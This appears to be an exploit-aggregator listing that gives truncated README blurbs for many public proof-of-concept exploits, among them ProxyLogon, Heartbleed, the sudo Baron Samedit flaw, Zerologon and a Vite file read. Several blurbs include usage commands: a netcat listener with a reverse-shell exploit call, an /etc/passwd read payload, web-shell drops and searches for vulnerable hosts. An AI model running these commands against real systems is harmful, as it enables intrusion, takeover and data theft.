ProxyLogon

ProxyLogon Original PoC: https://github.com/testanull How to use: python proxylogon.py Example: python proxylogon.py primary [email protected] If successful you will be dropped into a webshell. exit or quit to escape from the webshell or ctrl+c By default, it will create a file test.aspx. Th...

exphub

Notice In the end, I still felt that having separate scripts for each vulnerability was very inconvenient, so I integrated all poc and exp scripts into one, enabling one-click scanning + exploitation. Since I've been working on integration recently, Exphub has not been updated for a long time. Th...

heartbleed-PoC

Heartbleed PoC Heartbleed 攻撃のサンプル例です。この攻撃を試すために作られたサーバー https://www.cloudflarechallenge.com/ を使用します。 まず、このテーマについて私が読んだ中で最も優れた 2 つの解説は次のとおりです: http://www.seancassidy.me/diagnosis-of-the-openssl-heartbleed-bug.html http://xkcd.com/1354/ エクスプロイト このエクスプロイトは、まずサーバー cloudflarechallenge.com...

CVE-2022-25765

CVE-2022-25765 エクスプロイト CVE-2022-25765 用の小さな POC エクスプロイト、PDFkit-CMD-Injection 使用方法 1. 攻撃マシンで netcat リスナーを起動します: root@kitploit: nc -lvnp 4444 2. エクスプロイトを実行します: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT 例: root@kitploit: python cve-2022-25765.py -t...

CVE-2020-0787-EXP-ALL-WINDOWS-VERSION

CVE-2020-0787-EXP-ALL-WINDOWS-VERSION 声明 作者のPoCは研究目的のみです。読者がこのPoCを利用して他の行為を行った場合、筆者は一切関知しません。 紹介 CVE-2020-0787-EXP はすべてのWindowsバージョンをサポートしています...

CVE-2018-4879

git clone https://github.com/Sch01ar/CVE-2018-4878.git cd CVE-2018-4878/ python cve-2018-4878.py...

CVE-2020-16898

CVE-2020-16898 PoC Bad Neighbor BSOD（DoS）エクスプロイト 自己責任で使用してください！ 使い方：CVE-2020-16898.exe "ターゲットIPをここに入力"...

CVE-2020-0683

CVE-2020-0683 MSRCに送信したオリジナルのPoC。 CVE-2020-0683 - Windows インストーラーの特権昇格 に割り当てられました。 https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0683 Visual Studio C++ 2017 用のソースコードです。 すべての調査結果と再現手順を説明しているPDFをお読みください。 "binMsiExploit" の中に、実行するエクスプロイト（exe）があります。 DEMO...

CVE-2018-15499

CVE-2018-15499 CVE-2018-15499 の PoC コード 詳細は @ https://downwithup.github.io/CVEPosts.html で確認できます。 影響を受けるソフトウェア ダウンロード @: http://www.gearsoftware.com/support/drivers.php...

CVE-2021-3156

CVE-2021-3156 PoC はじめに これは、QualysによってBaron Sameditと呼ばれるCVE-2021-3156 sudo脆弱性のエクスプロイトです。 使い方 ビルド: root@kitploit: $ make ターゲット一覧: root@kitploit: $ ./sudo-hax-me-a-sandwich 実行: root@kitploit: $ ./sudo-hax-me-a-sandwich 手動モード: root@kitploit: $ ./sudo-hax-me-a-sandwich ブルートフォースターゲット検索（実験的） GNU paralle...

CVE-2023-3460

CVE-2023-3460 CVE-2023-3460 のエクスプロイト - Ultimate Member プラグインの未承認管理者アクセス。 PoC が公開されました。 これは教育・研究目的のみで作成されました！自己責任で使用してください！...

CVE-2024-21338_PoC

CVE-2024-21338 の Exploit poc...

CVE-2020-3956

CVE-2020-3956 VMware Cloud Director のRCE（CVE-2020-3956）に対するPoCエクスプロイト 技術アドバイザリはこちらから入手できます： https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/...

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE-

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE- 참고: https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html exploit.py - 실행할 파이썬 코드...

CVE-2023-21554

CVE-2023-21554-PoC CVE-2023-21554 Windows MessageQueuing PoC， PoC 성공의 징후는 mqsvc.exe 프로세스의 충돌이며, 팝업 메시지가 없으므로 프로세스 모니터와 같은 프로그램에서 확인해야 합니다. Windows 터미널 또는 명령 프롬프트에서 명령을 실행하세요. python poc.py 피해자 PC의 IP 주소를 입력하고 Enter 키를 누르세요...

CVE-2024-30043-XXE

CVE-2024-30043-XXE クレジット 本脆弱性の影響は現時点では限定的ですが、巧妙なバイパスアイデアを提供してくれた https://x.com/chudyPB に感謝します。 https://x.com/chudyPB https://www.zerodayinitiative.com/blog/2024/5/29/cve-2024-30043-abusing-url-parsing-confusion-to-exploit-xxe-on-sharepoint-server-and-cloud...

CVE-2025-30208-EXP

CVE-2025-30208-EXP Vite開発サーバーの任意ファイル読み取り脆弱性（CVE-2025-30208）。影響範囲が広く、利用が簡単で制限がなく、脆弱性の影響は甚大です。 Fofa 検索構文: root@kitploit: body="/@vite/client" 鷹図Hunter 検索構文: root@kitploit: web.body="/@vite/client" Expスクリプトの使用方法 root@kitploit: -u で検査を実行 root@kitploit: -p カスタムペイロード例: /etc/passwd root@kitploit: -d...

CVE-2014-6287

PoCエクスプロイトbashスクリプト bash.webm エクスプロイトについて .shファイルを使用してリバースシェルを取得できます（Linux） .pyファイルを使用してリバースシェルを取得できます（WindowsおよびLinux）（Windowsではnetcatのインストールが必要） URLを指定する必要があります 例: http://target.com/ .pyの使用法: python exploit.py .shの使用法: chmod +x exploit.sh ./exploit.sh エクスプロイトタイトル: CVE-2014-6287 | Rejetto http...

zer0dump

Zer0Dump Zer0dump는 패치되지 않은 Windows 도메인 컨트롤러의 전체 시스템 장악을 시작하기 위해 CVE-2020-1472 Zerologon와 관련된 취약점을 악용하는 PoC 익스플로잇/도구입니다. 특별히 @dirkjanm 및 @SecureAuthCorp에게 감사드립니다...

dnspooq

dnspooq DNSpooq PoC - dnsmasqキャッシュポイズニング CVE-2020-25686, CVE-2020-25684, CVE-2020-25685 教育目的のみ 要件 Docker compose Docker エクスプロイト コンテナの起動 root@kitploit: $ docker-compose up -d exploit.pyの実行 root@kitploit: $ docker-compose exec attacker bash bash-5.0 python exploit.py Querying non-cached names...